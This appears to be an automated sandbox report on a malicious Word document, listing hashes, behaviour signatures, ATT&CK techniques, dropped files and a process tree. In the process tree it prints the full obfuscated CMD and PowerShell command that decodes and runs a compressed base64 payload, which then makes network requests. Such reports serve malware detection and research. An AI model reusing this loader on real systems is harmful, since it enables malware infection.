788f2664d8d90cc23b7b0f987112fdd80c54de4ba9566a5714392b7fe0208fe9

General

Target

e36605b4d8b6e37b33ef0228bee7c764_JaffaCakes118.doc
Size

78KB
MD5

e36605b4d8b6e37b33ef0228bee7c764
SHA1

36aa582a3a4d540d1c1335fd5cc9a37af8d65010
SHA256

788f2664d8d90cc23b7b0f987112fdd80c54de4ba9566a5714392b7fe0208fe9
SHA512

5cd157b31e7fab60f52f8b23bcfff37b2715a2c0916f6b76c732c094b8e040b5bf92b423e3c98e0086062711fb82dd61d03378aea181947c76379bb78f88dc1d
SSDEEP

768:Q/ZVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9KTwiRZ1u2O7VQnoH:EZocn1kp59gxBK85fBt+a9KNRvi

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	868	4668	CMD.exe	WINWORD.EXE

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

29 4520 powershell.exe
35 4520 powershell.exe
37 4520 powershell.exe
39 4520 powershell.exe
42 4520 powershell.exe
43 4520 powershell.exe

flow	pid	process
29	4520	powershell.exe
35	4520	powershell.exe
37	4520	powershell.exe
39	4520	powershell.exe
42	4520	powershell.exe
43	4520	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4668 WINWORD.EXE
4668 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4520 powershell.exe
4520 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4520 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4668 WINWORD.EXE
4668 WINWORD.EXE
4668 WINWORD.EXE
4668 WINWORD.EXE
4668 WINWORD.EXE
4668 WINWORD.EXE
4668 WINWORD.EXE

pid	process
4668	WINWORD.EXE
4668	WINWORD.EXE

pid	process
4520	powershell.exe
4520	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4520	powershell.exe

pid	process
4668	WINWORD.EXE
4668	WINWORD.EXE
4668	WINWORD.EXE
4668	WINWORD.EXE
4668	WINWORD.EXE
4668	WINWORD.EXE
4668	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECMD.exe

description	pid	process	target process
PID 4668 wrote to memory of 868	4668	WINWORD.EXE	CMD.exe
PID 4668 wrote to memory of 868	4668	WINWORD.EXE	CMD.exe
PID 868 wrote to memory of 4520	868	CMD.exe	powershell.exe
PID 868 wrote to memory of 4520	868	CMD.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e36605b4d8b6e37b33ef0228bee7c764_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4668

C:\Windows\SYSTEM32\CMD.exe
CMD C:\WINDowS\systEm32\CMD.exE /C "set kidZ= . ( $sHellid[1]+$SHELlID[13]+'X')(new-oBject sySTEM.IO.comPRESSiON.deFLatesTreaM( [IO.MeMOrYStReAM][CONVERT]::fRoMbASE64stRINg('NZBBawIxEIX/yh4CUazJzWrDgqViEVEPFraFXrJxiqnZSZqdNWvF/95V6vV9bz6Yx5azTY6Qhr78BkPZGkgUUL44C0iKbdfPOd8ThScpbWiM07XxzqKuhfGVHLej7bxNj9P/Sh2aGKKv/I2WE/hYFKs7TCmJGkwE0tFqaAmwth5FgyRg1wgdZQpD47EDJMvl/Y7AuRPp3UELBJJJb/Tb7PdOwflK1I08crENzlKPT3lfsR8sszzjo/GEK/b6XuQM8PhEUIUB/+SDKx9wAS1w9eUjaLPvsaJZZRaz69P9M8XTmXXjiJlP6Lzeza2DW+chuwr7aoFHf4DhopPeElV2noO6GE1mf75c/gA='), [syStEM.io.cOmprEsSIoN.compRESsiONMODe]::dECOMpREsS ) ^|% {new-oBject iO.STrEamREADEr($_,[sYStEM.TexT.eNCoDinG]::AsCII)}).ReaDTOENd( ) && powErShelL ${7`4k} =[tYpE]( \"{0}{2}{1}\" -F'E','NMeNT','NvIro' ) ; ${eX`eCuTI`oNCoNt`EXt}.\"In`VoKEc`OmM`AnD\".(\"{1}{0}{2}\"-f'kEscr','iNVo','ipT').Invoke(( ${7`4K}::( \"{0}{2}{3}{4}{1}\" -f'geTeN','BLE','v','iROnmE','ntVaRIa' ).Invoke( (\"{0}{1}\" -f 'k','Idz'),( \"{1}{0}\"-f'Ss','PRoce' )) ) )"
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powErShelL ${7`4k} =[tYpE]( \"{0}{2}{1}\" -F'E','NMeNT','NvIro' ) ; ${eX`eCuTI`oNCoNt`EXt}.\"In`VoKEc`OmM`AnD\".(\"{1}{0}{2}\"-f'kEscr','iNVo','ipT').Invoke(( ${7`4K}::( \"{0}{2}{3}{4}{1}\" -f'geTeN','BLE','v','iROnmE','ntVaRIa' ).Invoke( (\"{0}{1}\" -f 'k','Idz'),( \"{1}{0}\"-f'Ss','PRoce' )) ) )
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\689.exe

Filesize
787B

MD5
93ae81f42df855abaa8d0a11ef35f5a1

SHA1
5aebc17ae633659a48775a460fc72fe4768a1fa1

SHA256
ae76dfa0d9ce93ca1c0081b3a6d5ed417f6f9f36250b3f7ed9186610e6465f23

SHA512
34dcd8320acbe3611e144d843c5b8346ba8892ccb21359fa2963da70f424e41fc0d07aae607e37abc581109991aa4c7d8c47d62127cb1cf4934187e03d0a2671

Download Submit
C:\Users\Admin\AppData\Local\Temp\689.exe

Filesize
69KB

MD5
8f0a61e7c300cf54de129bfce69ba441

SHA1
cbe3511d10145e62c7476d89a769833da0b5520d

SHA256
865672dbf77838845f20c20cbc1eeffc20b0572f5448884a0ae812fcabbd7fa7

SHA512
c448872c06b062796aedcd73def0796cf19c821236193149ce8ee7851f03d5ef6d3b38f32346eaf40e00f7657cf6c616baf7c892ab8ecab7998277f350e4ec20

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDCE19.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohu1fbpx.mor.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
8b64cff70c9d9569758eec644c13421a

SHA1
5281d91dbc4defd094f63e0a5ac0ed08c76091c9

SHA256
94369a1e54bd04bc9f759bea219f0deefc15694fc8fe278bb499c14f598a5064

SHA512
eaa30aafe16731af08792d7392172acaa67ec601b24f65e06108f0ee838291040fc97ede0752a5e2139d3ad4c3328375759ae3c2b81a4596f38cb1ca257ff421

Download Submit
memory/4520-51-0x000002258A4F0000-0x000002258A512000-memory.dmp

Filesize
136KB

Download
memory/4668-13-0x00007FFAE1AF0000-0x00007FFAE1B00000-memory.dmp

Filesize
64KB

Download
memory/4668-40-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-12-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-3-0x00007FFB23B6D000-0x00007FFB23B6E000-memory.dmp

Filesize
4KB

Download
memory/4668-10-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-14-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-8-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-15-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-16-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-21-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-20-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-19-0x00007FFAE1AF0000-0x00007FFAE1B00000-memory.dmp

Filesize
64KB

Download
memory/4668-18-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-17-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-6-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-35-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-38-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-11-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-39-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-9-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-0-0x00007FFAE3B50000-0x00007FFAE3B60000-memory.dmp

Filesize
64KB

Download
memory/4668-5-0x00007FFAE3B50000-0x00007FFAE3B60000-memory.dmp

Filesize
64KB

Download
memory/4668-67-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-7-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-77-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-1-0x00007FFAE3B50000-0x00007FFAE3B60000-memory.dmp

Filesize
64KB

Download
memory/4668-4-0x00007FFAE3B50000-0x00007FFAE3B60000-memory.dmp

Filesize
64KB

Download
memory/4668-97-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4668-2-0x00007FFAE3B50000-0x00007FFAE3B60000-memory.dmp

Filesize
64KB

Download
memory/4668-250-0x00007FFAE3B50000-0x00007FFAE3B60000-memory.dmp

Filesize
64KB

Download
memory/4668-251-0x00007FFAE3B50000-0x00007FFAE3B60000-memory.dmp

Filesize
64KB

Download
memory/4668-252-0x00007FFAE3B50000-0x00007FFAE3B60000-memory.dmp

Filesize
64KB

Download
memory/4668-253-0x00007FFAE3B50000-0x00007FFAE3B60000-memory.dmp

Filesize
64KB

Download
memory/4668-254-0x00007FFB23AD0000-0x00007FFB23CC5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads